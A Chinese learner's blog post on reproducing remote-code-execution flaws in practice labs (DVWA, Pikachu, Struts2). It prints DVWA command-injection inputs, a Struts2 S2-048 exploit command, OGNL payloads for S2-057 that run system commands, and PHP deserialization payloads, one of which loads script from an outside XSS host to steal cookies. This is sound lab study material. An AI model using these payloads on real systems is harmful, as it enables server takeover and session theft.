RCE/Struts2/反序列化

2020-04-14  本文已影响0人  _Beginner

一.本文介绍

1、本文介绍远程代码执行、s2-045、s2-48、S2-057漏洞复现;XSS/cookie反序列化攻击。

2、环境准备:Pikachu、DVWA靶场、Struts2环境。


二.学习步骤

1、远程代码执行产生原理

因为应用系统从设计上需要给用户提供指定的远程命令操作的接口,比如我们常见的路由器、防火墙、入侵检测等设备的web管理界面上。
没有做严格的安全控制,则可能会导致攻击者控制整个后台服务器 。

2、系统命令

1. 执行系统命令: assert,system,passthru,exec,pcntl_exec,shell_exec,popen,proc_open,``(反单引号)
2. .htaccess: SetHandler, auto_prepend_file, auto_append_file
3. dvwa low && Medium & 或&;& High || (代码里面的|后有一个空格)
4.Impossible级别的代码加入了Anti-CSRF token,同时对参数ip进行了严格的限制,只有诸如“数字.数字.数字.数字”的输入才会被接收执行,因此不存在命令注入漏洞。

LOW:&&ipconfig

Medium:&ipconfig

High:||    ipconfig(多个空格)


3、struts2命令执行漏洞

stru2 045:
用K8进行命令执行、获取目标信息、上马等:

stru2 048
对存在漏洞的站进行RCE,获取信息等。主要受影响的Struts版本为:2.3.x

struts048.py http://192.168.1.102:8080/struts2-showcase/showcase.action "ipconfig"

s2-057:
首先在struts.xml配置文件添加<constant name="struts.mapper.alwaysSelectFullNamespace" value="true" />

其次修改配置文件struts-actionchaining.xml 删掉namespace属性,或使用了通配符*

最后把type="chain"改成type="redirectAction"

攻击payload:
http://192.168.0.127:8080/struts2-showcase/${(1+1)}/actionChain1.action

${#_memberAccess=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS,@java.lang.Runtime@getRuntime().exec('calc.exe')}

${(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#ct=#request['struts.valueStack'].context).(#cr=#ct['com.opensymphony.xwork2.ActionContext.container']).(#ou=#cr.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ou.getExcludedPackageNames().clear()).(#ou.getExcludedClasses().clear()).(#ct.setMemberAccess(#dm)).(#a=@java.lang.Runtime@getRuntime().exec('id')).(@org.apache.commons.io.IOUtils@toString(#a.getInputStream()))}


4、反序列化

1. 什么是反序列化
  就是把一个对象变成可以传输的字符串,目的就是为了方便传输。

2. 产生的原理
serialize() 和 unserialize() 在 PHP内部实现上是没有漏洞的,是因为应用程序在处理对象、魔术函数以及序列化相关问题的时候导致的。

3. XSS反序列化:

O:1:"S":1:{s:4:"test";s:29:"<script>alert('xss')</script>";}

4. 获取cookie反序列化:

O:1:"S":1:{s:4:"test";s:51:"</tExtArEa>'"><sCRiPt sRC=//xsshs.cn/EsxA></sCrIpT>";}
上一篇 下一篇

猜你喜欢

热点阅读